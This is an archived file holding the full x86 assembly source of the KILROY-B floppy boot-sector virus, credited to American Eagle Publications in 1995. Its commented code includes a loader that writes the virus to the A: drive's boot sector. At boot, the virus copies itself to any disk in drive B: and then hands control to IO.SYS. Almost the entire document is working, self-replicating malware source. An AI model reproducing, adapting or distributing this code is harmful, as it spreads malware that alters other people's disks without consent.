home *** CD-ROM | disk | FTP | other *** search
- ;The KILROY-B Virus. This is a floppy-only virus that is self contained in a
- ;single sector. At boot time, it boots DOS and copies itself from the A: to
- ;the B: drive if a disk is inserted in B:.
- ;
- ;(C) 1995 American Eagle Publications, Inc. All Rights Reserved!
-
-
- ;This segment is where the first operating system file (IO.SYS) will be
- ;loaded and executed from. We don't know (or care) what is there, as long as
- ;it will execute at 0070:0000H, but we do need the address to jump to defined
- ;in a separate segment so we can execute a far jump to it.
- DOS_LOAD SEGMENT AT 0070H
- ASSUME CS:DOS_LOAD
-
- ORG 0
-
- LOAD: ;Start of the first operating system program
-
- DOS_LOAD ENDS
-
-
- MAIN SEGMENT BYTE
- ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
-
-
- ;This is the loader for the boot sector. It writes the boot sector to
- ;the A: drive in the right place, after it has set up the basic disk
- ;parameters. The loader is what gets executed when this program is executed
- ;from DOS as a COM file.
-
- ORG 100H
-
- LOADER:
- mov ax,201H ;load the existing boot sector
- mov bx,OFFSET DISK_BUF ;into this buffer
- mov cx,1 ;Drive 0, Track 0, Head 0, Sector 1
- mov dx,0
- int 13H
- mov ax,201H ;try twice to compensate for disk
- int 13H ;change errors
-
- mov si,OFFSET DISK_BUF + 11
- mov di,OFFSET BOOTSEC + 11
- mov cx,19
- rep movsb ;move disk data to new boot sector
-
- mov ax,301H ;and write new boot sector to disk
- mov bx,OFFSET BOOTSEC
- mov cx,1
- mov dx,0
- int 13H
-
- mov ax,4C00H ;now exit to DOS
- int 21H
-
-
- ;This area is reserved for loading the boot sector from the disk which is going
- ;to be modified by the loader, as well as the first sector of the root directory,
- ;when checking for the existence of system files and loading the first system
- ;file. The location is fixed because this area is free at the time of the
- ;execution of the boot sector.
-
- ORG 0500H
-
- DISK_BUF: DB ? ;Start of the buffer
-
- ;Here is the start of the boot sector code. This is the chunk we will take out
- ;of the compiled COM file and put it in the first sector on a floppy disk.
-
- ORG 7C00H
-
- BOOTSEC: JMP SHORT BOOT ;Jump to start of boot sector code
- NOP ;3 bytes before data
-
- DOS_ID: DB 'Kilroy B' ;Name of this boot sector (8 bytes)
- SEC_SIZE: DW 200H ;Size of a sector, in bytes
- SECS_PER_CLUST: DB 2 ;Number of sectors in a cluster
- FAT_START: DW 1 ;Starting sector for the first File Allocation Table (FAT)
- FAT_COUNT: DB 2 ;Number of FATs on this disk
- ROOT_ENTRIES: DW 70H ;Number of root directory entries
- SEC_COUNT: DW 2D0H ;Total number of sectors on this disk
- DISK_ID: DB 0FDH ;Disk type code (This is 360KB)
- SECS_PER_FAT: DW 2 ;Number of sectors per FAT
- SECS_PER_TRK: DW 9 ;Sectors per track for this drive
- HEADS: DW 2 ;Number of heads (sides) on this drive
- HIDDEN_SECS: DW 0 ;Number of hidden sectors on the disk
-
- ;Here is the start of the boot sector executable code
- BOOT: CLI ;interrupts off
- XOR AX,AX ;prepare to set up segments
- MOV ES,AX ;set DS=ES=SS=0
- MOV DS,AX
- MOV SS,AX ;start stack at 0000:7C00
- MOV SP,OFFSET BOOTSEC
- STI ;now turn interrupts on
-
- ;Before getting the system file, the virus will attempt to copy itself to
- ;the B: drive.
- INFECT:
- mov ax,201H ;attempt to read
- mov bx,OFFSET DISK_BUF ;B: boot sector
- mov cx,1
- mov dx,1
- int 13H
- mov ax,201H ;do it twice
- int 13H ;for disk change
- jc LOOK_SYS ;no disk, just load DOS
- mov si,OFFSET BOOTSEC ;build virus in DISK_BUF
- mov di,OFFSET DISK_BUF
- mov cx,11
- cld ;direction flag forward
- rep movsb ;1st 11 bytes
- add si,19 ;skip the data (i.e.
- add di,19 ;keep original data)
- mov cx,OFFSET BOOT_ID - OFFSET BOOT ;bytes of code to move
- rep movsb
- inc cx ;set cx=1
- mov ax,301H ;and write virus
- int 13H ;to B: drive
-
- ;Here we look at the first file on the disk to see if it is the first MS-DOS
- ;system file, IO.SYS.
- LOOK_SYS:
- MOV AL,BYTE PTR [FAT_COUNT] ;get fats per disk
- XOR AH,AH
- MUL WORD PTR [SECS_PER_FAT] ;multiply by sectors per fat
- ADD AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors
- ADD AX,WORD PTR [FAT_START] ;add starting fat sector
-
- PUSH AX ;start of root dir in ax
- MOV BP,AX ;save it here
-
- MOV AX,20H ;dir entry size
- MUL WORD PTR [ROOT_ENTRIES] ;dir size in ax
- MOV BX,WORD PTR [SEC_SIZE] ;sector size
- ADD AX,BX ;add one sector
- DEC AX ;decrement by 1
- DIV BX ;ax=# sectors in root dir
- ADD BP,AX ;now bp is start of data
- MOV BX,OFFSET DISK_BUF ;set up disk read buffer at 0000:0500
- POP AX ;ax=start of root dir
- CALL CONVERT ;and go convert sequential sector number to bios data
- INT 13H ;read 1st root sector
- JC $
-
- MOV DI,BX ;compare first file on disk with
- MOV CX,11 ;required file name
- MOV SI,OFFSET SYSFILE_1 ;of first system file for PC DOS
- REPZ CMPSB
- JZ LOAD_SYSTEM ;the same, go load
-
- MOV DI,BX ;compare first file on disk with
- MOV CX,11 ;required file name
- MOV SI,OFFSET SYSFILE_2 ;of first system file for PC DOS
- REPZ CMPSB
- JNZ $ ;not the same - hang machine
-
- ;Ok, system file is there, so load it
- LOAD_SYSTEM:
- MOV AX,WORD PTR [DISK_BUF+1CH] ;get file size of IO.SYS
- XOR DX,DX
- DIV WORD PTR [SEC_SIZE] ;and divide by sector size
- INC AX ;ax=number of sectors to read
- CMP AX,39H ;don't load too much!!
- JLE LOAD1 ;not more than 7C00H-700H
- MOV AX,39H ;plus some room for stack!
- LOAD1: MOV DI,AX ;store that number in BP
- PUSH BP ;save data start for IO.SYS
- MOV BX,700H ;set disk read buffer to 0000:0700
- RD_IOSYS: MOV AX,BP ;and get sector to read
- CALL CONVERT ;convert to bios Trk/Cyl/Sec info
- INT 13H ;and read a sector
- JC $ ;halt on error
- INC BP ;increment sector to read
- ADD BX,WORD PTR [SEC_SIZE] ;and update buffer address
- DEC DI ;decrement number of sectors to read
- JNZ RD_IOSYS ;and go for another if needed
-
- ;Ok, IO.SYS has been read in, now transfer control to it
- DO_BOOT:
- MOV CH,BYTE PTR [DISK_ID] ;Put drive type in ch
- MOV DL,0 ;Drive number in dl
- POP BX ;Start of data in bx
- JMP FAR PTR LOAD ;far jump to IO.SYS
-
- ;Convert sequential sector number in ax to BIOS Track, Head, Sector information.
- ;Save track number in CH, head in DH, sector number in CH, set AX to 201H. Since
- ;this is for floppies only, we don't have to worry about track numbers greater
- ;than 255.
- CONVERT:
- XOR DX,DX
- DIV WORD PTR [SECS_PER_TRK] ;divide ax by sectors per track
- INC DL ;dl=sector number to start read on, al=track/head count
- MOV CL,DL ;save sector here
- XOR DX,DX
- DIV WORD PTR [HEADS] ;divide ax by head count
- MOV DH,DL ;head to dh
- XOR DL,DL ;drive in dl (0)
- MOV CH,AL ;track to ch
- MOV AX,201H ;ax="read 1 sector"
- RET
-
- SYSFILE_1 DB 'IO SYS' ;MS DOS System file
- SYSFILE_2 DB 'IBMBIO COM' ;PC DOS System file
-
- ORG 7DFEH
-
- BOOT_ID DW 0AA55H ;Boot sector ID word
-
- MAIN ENDS
-
- END LOADER